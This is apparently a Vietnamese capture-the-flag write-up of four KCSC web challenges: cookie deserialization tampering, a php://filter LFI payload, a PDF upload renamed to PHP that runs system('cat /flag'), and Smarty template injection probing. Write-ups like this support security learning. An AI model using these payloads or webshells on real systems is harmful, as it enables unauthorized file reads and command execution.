# Pokemon Hof Panel Level 1
- Bài này cho mình hint deserialization vuln và source code có đoạn sau:
```php=
if (isset($_COOKIE["trainer_data"])) {
$base64Encoded = $_COOKIE["trainer_data"];
$serializedUser = base64_decode($base64Encoded);
$user = unserialize($serializedUser);
if (isChampion($user)) {
$title = "Champion Pannel";
$msg = "Hello, " . $user->getname() . " KCSC{level1_fakeflag}";
} else {
$title = "Trainer Pannel";
$msg = "Access denied. You are not a champion.";
}
} else {
$title = "Something's wrong!!!";
$msg = "No trainer data found. Please choose your starter.";
}
```
- Ta thấy nếu isChampion = 1 thì sẽ có flag.
- Mình encode đoạn mã base64 ở cookie rồi thay đổi giá trị isChampion từ 0 -> 1 rồi decode về base64 sau đó ném vào cookie và f5 thì có flag.
##### Flag: `KCSC{n0w_y0u_kn0w_s3r1al1z3_f0m4rt}`
# Mì tôm thanh long
- Sau một hồi mày mò thì mình thấy đây là lfi wrapper vuln.
- Mình test payload sau thì thấy đoạn mã base64.
- Payload: `?page=php://filter/convert.base64-encode/resource=/var/www/html/pages/flag.php`
Encrypt đoạn mã base64 thì ta thấy được flag.
#### Flag: `KCSC{Lan_Dau_Tien_Trai_Thanh_Long_Co_Trong_KCSC:))}`
# Apply To KCSC
Trang web này yêu cầu mình tải file pdf lên nên mình nghĩ ngay tới file upload vuln.
- Mình tạo một file a.pdf với hàm `phpinfo()` và upload lên sau đó đổi filename=a.php trong burp:

Ta nên test thử có RCE bằng hàm phpinfo() thay vì các hàm nguy hiểm như system(). Bởi rất có server chứa firewall, antivirus sẽ chặn không cho chạy các hàm nhạy cảm như vậy.

Vậy là đã thực hiện RCE thành công.
- Giờ mình thay đổi nội dung file thành:
```php
<?php
system('ls / -la')
?>
```
- Ta thấy chạy được system() và nó trả về toàn bộ file và directory nằm ở thư mục root này.

```php=
<?php
system('cat /flag')
?>
```
##### Flag: `KCSC{W3lc0m3_T0_KCSC_2023____}`
# Warmup PHP01
- Bài này cho mình biến name có thể thay đổi được và xuất ra trên web, mình thử test `?name={7*7}` thì kết quả xuất ra 49. Vậy là mình biết bài này có thể khai thác ssti được.
- Mình check `/robots.txt` thì thấy có file `source` như sau:
```php=
<?php
include('flag1.php');
include('flag2.php');
include_once('/app/vendor/autoload.php');
define('FLAG1', $flag1);
if(!isset($_GET['name'])) {
header('Location: /?name=guest');
}
if (isset($_GET['source'])) {
show_source(__FILE__);
}
$smarty = new Smarty();
$policy = new Smarty_Security($smarty);
if(str_starts_with($_GET['name'], 'kcsc')) {
$policy->php_functions = $allow_php_func;
}
$smarty->enableSecurity($policy);
$smarty->display('string:KCSC hello fen, '.$_GET['name']); KCSC hello fen,
```
- Ta thấy lớp Smarty_Security được thiết lập để giới hạn những gì mà một template có thể làm nên mình thử các pay load trên mạng đều không khai thác được nên ta phải đọc tài liệu về `Smarty PHP` https://smarty-php.github.io/smarty/4.x/designers/language-variables/language-variables-smarty/#smartyconst


##### Flag: ` KCSC{warmup01_begin_using_smarty}`